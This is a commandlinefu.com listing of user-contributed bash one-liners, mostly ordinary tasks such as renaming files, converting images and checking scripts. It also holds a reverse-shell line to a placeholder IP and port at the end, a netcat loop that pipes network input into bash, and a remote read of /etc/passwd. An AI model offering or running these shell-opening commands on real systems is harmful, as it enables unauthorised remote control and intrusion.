Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

Commands using bash from sorted by
Terminal - Commands using bash - 45 results
sudo bash -c "cd /PATH/TO/THE/DIRECTORY;bash"
2014-07-28 20:20:04
User: Zath
Functions: bash sudo
0

Change current working directory with root permissions.

Place this snippet in your .bashrc to add a new "sudocd" command:

function sudocd { sudo bash -c "cd $1;bash" }

Usage: sudocd DIRECTORY

Please note that if you will use this command to cd into directories with the permissions allowing only root to be in them, you will have to use sudo as a prefix to every command that changes/does something in that directory (yes, even ls).

find -type f -exec bash -c 'if ffmpeg -i "{}" 2>&1 | grep -qi h264 ; then echo "{}"; fi' \;
find . -name \*.svg -print0 | xargs -0 -n1 -P4 -I{} bash -c 'X={}; convert "$X" "${X%.svg}.png"'
2014-04-11 14:30:30
User: flatcap
Functions: bash find xargs
2

Convert some SVG files into PNG using ImageMagick's convert command.

Run the conversions in parallel to save time.

This is safer than robinro's forkbomb approach :-)

xargs runs four processes at a time -P4

find . -name '*.sh' -exec bash -n {} \;
2014-01-17 16:20:36
User: tsener
Functions: bash find
8

Check all bash scripts in current dir for syntax errors WITHOUT running them.

nohup bash -c "while true; do ps -x | mail pascalv@mmmmail.com; sleep 3600; done" | mail pascalv@mmmmail.com &
2013-08-19 17:21:37
User: pascalv
Functions: bash mail nohup
1

Run "ps -x" (process status) in the background every hour (in this example).

The outputs of both "nohup" and "ps -x" are sent to the e-mail (instead of nohup.out and stdout and stderr).

If you like it, replace "ps -x" by the command of your choice, replace 3600 (1 hour) by the period of your choice.

You can run the command in the loop any time by killing the sleep process. For example

ps -x

2925 ? S 0:00.00 sh -c unzip E.zip >/dev/null 2>&1

11288 ? O 0:00.00 unzip E.zip

25428 ? I 0:00.00 sleep 3600

14346 pts/42- I 0:00.01 bash -c while true; do ps -x | mail pascalv; sleep 3600; done

643 pts/66 Ss 0:00.03 -bash

14124 pts/66 O+ 0:00.00 ps -x

kill 25428

You have mail in /mail/pascalv

ssh -t user@host 'sudo bash -c "ls /var/log && cat /etc/passwd"'
find . -type f | xargs -I% bash -c 'echo -e "\033[31m%\033[0m" && [[ ! `file %` =~ .*binary.* ]] && head "%"'
(cat ~/.bash_history;U='curl -s www.commandlinefu.com';$U/users/signin -c/tmp/.c -d'username=<USER>&password=<PASS>&submit=1'|$U/commands/favourites/json -b/tmp/.c|grep -Po 'nd":.*?[^\\]",'|sed -re 's/.*":"(.*)",/\1/g')>~/.h;HISTFILE=~/.h bash --login
2012-08-17 12:31:51
User: xenomuta
Functions: bash cat grep sed
5

This makes your commandlinefu.com's favorites appear as most recent commands in your history.

sudo bash -c "sleep 30m; pm-hibernate"
2012-05-21 17:56:11
Functions: bash sudo
0

Can use minute - m, hour - h

Eg: sudo bash -c "sleep 2h; pm-hibernate"

will hibernate the system after 2hours.

find . -depth -name '* *' -execdir bash \-c 'a="{}";mv -f "$a" ${a// /_}' \;
2012-02-28 04:03:40
User: DewiMorgan
Functions: bash find mv
0

Sometimes, you don't want to just replace the spaces in the current folder, but through the whole folder tree - such as your whole music collection, perhaps. Or maybe you want to do some other renaming operation throughout a tree - this command's useful for that, too.

To rename stuff through a whole directory tree, you might expect this to work:

for a in `find . -name '* *'`;do mv -i "$a" ${a// /_};done

No such luck. The "for" command will split its parameters on spaces unless the spaces are escaped, so given a file "foo bar", the above would not try to move the file "foo bar" to "foo_bar" but rather the file "foo" to "foo", and the file "bar" to "bar". Instead, find's -execdir and -depth arguments need to be used, to set a variable to the filename, and rename files within the directory before we rename the directory.

It has to be -execdir and won't work with just -exec - that would try to rename "foo bar/baz quux" to "foo_bar/baz_quux" in one step, rather than going into "foo bar/", changing "baz quux" to "baz_quux", then stepping out and changing "foo bar/" into "foo_bar/".

To rename just files, or just directories, you can put "-type f" or "-type d" after the "-depth" param.

You could probably safely replace the "mv" part of the line with a "rename" command, like rename 'y/ /_/' *, but I haven't tried, since that's way less portable.

bash history: modification /etc/inputrc
2012-01-19 22:32:15
User: kramer
Functions: bash
1

flip shell history with PG UP/PG DOWN like with arrows. just type ss and PG UP and see all ssh commands, type ls and PG DOWN - see all ls commands. need to uncomment two options in /etc/inputrc:

"\e[5~": history-search-backward

"\e[6~": history-search-forward

hack found: http://broddlit.wordpress.com/2008/04/12/making-the-bash-history-a-better-place/

find . -iname *.java -type f -exec bash -c "iconv -f WINDOWS-1252 -t UTF-8 {} > {}.tmp " \; -exec mv {}.tmp {} \;
while ( nc -l 1025 | bash &> : ) ; do : ; done &
2012-01-08 03:31:58
User: Zulu
Functions: bash
Tags: bash nc dangerous
-8

Allow to launch nc like a daemon, in background until you still stop it.

(like this command: http://www.commandlinefu.com/commands/view/9978 )

For send script or commands from the client to the server, use nc too, like that :

cat script.sh | nc server 1025

echo "service openvpn restart" | nc server 1025

The loop's inside doesn't do anything, but we can add echo -e "\nCommand received\n" .

find . -iname pom.xml -type f -exec bash -c "cat {} | sed s/1\.0\.46\-SNAPSHOT/1\.0\.48\-SNAPSHOT/g > {}.tmp " \; -exec mv {}.tmp {} \;
2011-10-05 18:57:12
User: miguelbaldi
Functions: bash find mv
0

When a large maven release goes wrong, by deploying just some of the artifacts letting others behind, some projects got wrong SNAPSHOT versions. This command comes to help!

Tip: replace sed's regex by your version numbers

bash --rcfile /a/special/bashrc
say() { wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?tl=en&q=$1"; gnome-terminal -x bash -c "totem output.mp3"; sleep 4; totem --quit;}
2011-09-07 19:48:53
User: totti
Functions: bash sleep wget
1

No need to install additional packages

eg:

say hello

For multiword

say how+are+you

dd if=/dev/zero of=test bs=1024k count=1024 & bash -c "while :; do clear;echo STATS FOR DD:;kill -USR1 $!; sleep 1; done"
2011-08-19 01:10:18
User: ideivid
Functions: bash dd
-1

Have you ever wondered what the hell was dd command doing? well, there you have it... notice the -USR1 signal :)...

jot 4 | awk '{ print "wc -l /usr/share/dict/words | awk '"'"'{ print \"echo $[ $RANDOM * $RANDOM % \" $1 \"]\" }'"'"' | bash | awk '"'"'{ print \"sed -n \" $1 \"p /usr/share/dict/words\" }'"'"' | bash" }' | bash | tr -d '\n' | sed 's/$/\n/'
2011-08-16 00:26:56
User: fathwad
Functions: awk bash sed tr
Tags: tr xkcd
0

So I use OSX and don't have the shuf command. This is what I could come up with.

This command assumes /usr/share/dict/words does not surpass 137,817,948 lines and line selection is NOT uniformly random.

sudo bash -c "sleep 1h ; command"
2011-06-15 16:46:31
User: dbh
Functions: bash sudo
4
sleep 1h ; sudo command

or

sudo sleep 1h ; sudo command

won't work, because by the time the delay is up, sudo will want your password again.

ls * | while read fin;do fout=$(echo -n $fin | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e);if [ "$fout" != "$fin" ];then echo "mv '$fin' '$fout'";fi;done | bash -x
2011-05-18 07:24:54
User: pawelb1973
Functions: bash echo ls read sed xargs
0

urldecode files in current directrory

find . -exec bash -c "mv '{}' '\`echo {} |sed -e 's/foo/bar/g'\`"' \;
2011-05-07 15:41:07
User: windfold
Functions: bash find
1

This command is a more flexible than my previous submission.

It will work with spaces however suuuuper hacky and ugly.

Source: http://www.unix.com/shell-programming-scripting/146173-find-rename-files-using-find-mv-sed.html

sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub && update-grub'
2011-05-02 12:06:49
User: slayer_ftw
Functions: bash sudo
3

I'll let Slayer handle that. Raining Blood for your pleasure.

find <folder> -type f -name '*.jpg' -exec bash -c 'ext="${0##*.}";path="$(dirname "$0")";name="$(basename "$0"|sed "s/.jpg//")";folder="$(dirname "$0"|tr / \\n |tail -1)";new="${path}/${name}_${folder}.${ext}"; mv "$0" "${new}"' {} \;
2011-04-08 20:13:15
Functions: bash find mv
0

find pictures recursively in a specified folder and renames the file name to originalname_containingfoldername.jpg

find $DIR -exec bash method {} ";"
2011-03-28 02:41:02
User: netzahdzc
Functions: bash find
0

An easy way to send all directories to a bash script, it makes it recursive

bash -i >& /dev/tcp/IP/PORT 0>&1